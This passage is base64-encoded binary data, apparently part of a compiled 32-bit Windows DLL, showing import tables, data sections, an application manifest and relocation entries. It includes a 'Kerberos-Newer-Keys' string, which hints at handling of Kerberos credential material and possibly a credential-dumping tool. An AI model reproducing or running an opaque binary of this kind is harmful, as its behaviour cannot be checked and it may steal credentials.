3VycmVudFRocmVhZElkAADnAkluaXRpYWxpemVTTGlzdEhlYWQAAANJc0RlYnVnZ2VyUHJlc2VudADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAYwJHZXRTdGFydHVwSW5mb1cABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AMAEVGVybWluYXRlUHJvY2VzcwAAS0VSTkVMMzIuZGxsAADxAlN5c3RlbUZ1bmN0aW9uMDM2ABQCR2V0TW9kdWxlRmlsZU5hbWVXAADuAkludGVybG9ja2VkRmx1c2hTTGlzdADjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQA+A0xvYWRMaWJyYXJ5RXhXAAAYBFJ0bFVud2luZADuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCGAUdldENvbW1hbmRMaW5lQQCHAUdldENvbW1hbmRMaW5lVwAZAUV4aXRQcm9jZXNzABcCR2V0TW9kdWxlSGFuZGxlRXhXAABnA011bHRpQnl0ZVRvV2lkZUNoYXIAEQVXaWRlQ2hhclRvTXVsdGlCeXRlAM8CSGVhcEZyZWUAAMsCSGVhcEFsbG9jAGgBR2V0QUNQAADzAUdldEZpbGVUeXBlAC0DTENNYXBTdHJpbmdXAACaAUdldENvbnNvbGVDUAAArAFHZXRDb25zb2xlTW9kZQAAhwRTZXRTdGRIYW5kbGUAAGkCR2V0U3RyaW5nVHlwZVcAAAoDSXNWYWxpZENvZGVQYWdlADcCR2V0T0VNQ1AAAHIBR2V0Q1BJbmZvANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAYQFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBKAkdldFByb2Nlc3NIZWFwAABnBFNldEZpbGVQb2ludGVyRXgAACQFV3JpdGVDb25zb2xlVwDUAkhlYXBTaXplAADSAkhlYXBSZUFsbG9jAFMEU2V0RW5kT2ZGaWxlAAC+A1JlYWRDb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